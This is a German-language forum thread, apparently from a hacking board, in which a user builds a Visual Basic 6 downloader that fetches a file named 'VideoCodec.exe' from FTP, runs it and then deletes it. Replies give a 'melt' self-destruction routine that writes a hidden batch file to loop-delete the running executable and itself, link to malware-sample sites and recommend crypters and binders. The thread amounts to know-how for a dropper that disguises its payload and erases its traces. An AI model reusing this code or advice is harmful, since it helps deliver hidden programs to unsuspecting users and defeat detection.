Druckbare Version
Hay - also ich möchte das - wen jemand auf einen Button klickt eine datei vom FTP geladen wird ( Das hab ich schon ) allerdings wird sie dahin geladen wo auch der "Downloader" is - ich möchte aber das es z.B. in "Eigene Datein" geladen wird . anschliesend soll sich die datei starten ... und danach gelöscht werden ... sollte eig nich so schwer sein aber ich bekomms einfach nich hin .
Das Verzeichnis wo dein Programm liegt bekommst du mit App.Path.Zitat:
Zitat von MIIIK
PCFX schon wieder nicht richtig gelesen xD
Er wills eben nicht dahin haben wo der Pfad des Programms ist.
Leider kann ich dir da nicht helfen könnte dir höchstens n vb.net code geben.
mfG
ja also starten klappt - aber wie kann ichs löschen ??
TaskID = Shell(App.Path & "\VideoCodec.exe", vbNormalNoFocus)
Kill (App.Path & "\VideoCodec.exe")
oda würde das zu schnell gelöscht werden ??
gibts in vb6 nicht sogar ne wait methode oO ?
Also das könntest auch googlen.
mfG
ka aber
Kill (App.Path & "\VideoCodec.exe")
stimtm auch nich
Die kannst so nicht killen weil die aktiv ist.
Hier hast was du brauchst.
Sorry, die Formatierung stammt von meinen Anfängen.
Code:Private Befehl$
Private MeFile$
Private Batfile$
Private Comment As Boolean
Private Declare Function CharToOemA Lib "user32.dll" (ByVal lpszSrc As String, ByVal lpszDst As String) As Long
'**********************************************************************************************************
Private Sub Selbstzerstoerung()
Dim ff As Long
ff = FreeFile
If Len(App.Path) > 3 Then 'verhindert das auftauchen von "\\" im Dateinamen in einem Unterverzeichnis
MeFile = App.Path & "\" & App.EXEName & ".exe"
Batfile = App.Path & "\" & "Kill.bat"
Else 'Direkt auf der Festplatte
MeFile = App.Path & App.EXEName & ".exe"
Batfile = App.Path & "Kill.bat"
End If
If GetAttr(MeFile) Then SetAttr MeFile, 0 'falls Attribute (wie z.B. Schreibschutz) gesetzt sind, werden diese augeschaltet
Call CharToOemA(MeFile, MeFile) 'Konvertiert Dateinamen zu ANSI-Code
If Comment Then Befehl = "@echo off" & vbCrLf 'verhindert Anzeigen der Befehle im DOS-Fenster
Befehl = Befehl & ":Marke" & vbCrLf
Befehl = Befehl & "Del " & Chr(34) & MeFile & Chr(34) & vbCrLf 'Befehl zum Zerstören der EXE
Befehl = Befehl & "If Exist " & Chr(34) & MeFile & Chr(34) & " Goto Marke" & vbCrLf 'falls EXE noch vorhanden (Zugriff verweigert) -->
If Comment Then Befehl = Befehl & "echo." & vbCrLf & "echo EXE wurde zerstoert" & vbCrLf & "echo." & vbCrLf 'gibt Text aus
Befehl = Befehl & "del " & Chr(34) & Batfile & Chr(34) 'Bat-Datei zerstört sich selbst
Open Batfile For Binary As #ff 'Bat-Datei muss binär erstellt werden
Put #ff, , Befehl
Close #ff
If Not Comment Then
Shell Batfile, vbHide
Else
Shell Batfile, vbNormalFocus
End If
'End
End Sub
geht nich direkt
wen ich EXEName lasse passiert ... nichts
und wen ich den namen der exe eingebe die gelöscht werden soll dann kann ich das ding nichmal compilen
Hier das geht 100%tig...
Ok ich sag lieber 99%tig^^
http://www.opensc.ws/vb-samples/3395-melt-function.html
##############
ok ist wie immer Falsch :D
Aber ich habs immer so gemacht, das ich ne .bat datei geschrieben habe...
del Datei.exe
del Datei.exe
del Datei.exe
del Datei.exe
del Datei.exe
das halt immer ganz oft rein geschrieben^^
hat eig auch immer geuntzt
Die datei die runtergeladen wird - soll nah dem ausführen wieder vernichtet werden
Na ja. Wer das bisschen code nicht anpassen kann , dem ist eh nicht zu helfen, der sollte paar Grundkenntnisse erst erlernen. Sorry, aber ohne ein bisschen den Code zu verstehen, geht kaum was zu coden. Du codest nicht, du schreibst ab. Da würde ich schon lieber fertige Tools nehmen. Crypter, Binder oder was auch immer.
Also meistens ist eine .exe direkt nach der fertigstellung des codes noch im Speicher etc... also vllt den befehl in eine Schleife hauhn mit der abfrage bis die Datei gelöscht wurde.
eine Methode.
http://www.schmittis-page.de/vb/t63.htm
mfg
das problem is eigentlich nur der dateipfad ...
Kill (App.Path & "\VideoCodec.exe") funzt nich . wie muss es den richtig aussehen ?
Kill App.Path & "\VideoCodec.exe"
Das ist schon richtig so...
@Threadstarter dann ist der Dateipfad zu lang das hatte ich auch mal.
ah alles kla - die klammern waren das problem , dann geht jetz alles ;) danek nochma -
ich möchte nochma hierhin verweisen
--- http://free-hack.com/showthread.php?t=40884